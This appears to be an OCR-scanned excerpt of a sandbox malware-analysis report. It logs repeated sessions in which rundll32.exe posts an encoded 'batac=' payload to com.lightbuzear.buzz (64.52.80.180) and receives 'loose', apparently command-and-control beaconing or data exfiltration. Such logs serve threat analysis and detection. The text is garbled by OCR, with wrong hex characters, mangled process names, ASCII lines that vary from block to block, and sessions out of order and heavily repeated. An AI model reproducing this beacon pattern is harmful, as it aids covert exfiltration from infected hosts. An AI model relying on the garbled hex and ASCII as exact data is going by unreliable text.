/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:43 UTC 120 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:43 UTC 120 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
72 192.168.2.22 49244 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:44 UTC 120 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:44 UTC 120 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:45 UTC 121 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:45 UTC 121 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
73 192.168.2.22 49245 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:45 UTC 121 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:45 UTC 122 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:46 UTC 123 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:45 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:46 UTC 123 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
i I Destination
Session ID Source IP Source Port Destination IP Port Process
74 192.168.2.22 49246 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp Lo Direction Data
transferred
2022-08-14 06:40:46 UTC 123 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:46 UTC 123 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:47 UTC 125 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:47 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:47 UTC 125 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
75 192.168.2.22 49247 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:47 UTC 125 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:47 UTC 125 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:48 UTC 126 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:48 UTC 126 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
76 192.168.2.22 49248 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:48 UTC 126 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:48 UTC 127 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:49 UTC 128 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:49 UTC 128 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
77 192.168.2.22 49249 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:49 UTC 128 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:49 UTC 128 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:50 UTC 129 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:50 UTC 130 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
78 192.168.2.22 49250 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:50 UTC 130 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:50 UTC 130 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:51 UTC 131 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:51 UTC 131 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
79 192.168.2.22 49251 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:52 UTC 131 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:52 UTC 132 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:52 UTC 133 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:52 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:52 UTC 133 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
8 192.168.2.22 49180 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:39:34 UTC 14 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:39:34 UTC 15 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:39:34 UTC 16 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:39:34 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:34 UTC 16 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
80 192.168.2.22 49252 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:53 UTC 133 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:53 UTC 133 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:53 UTC 134 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:53 UTC 135 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
81 192.168.2.22 49253 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:54 UTC 135 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:54 UTC 135 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
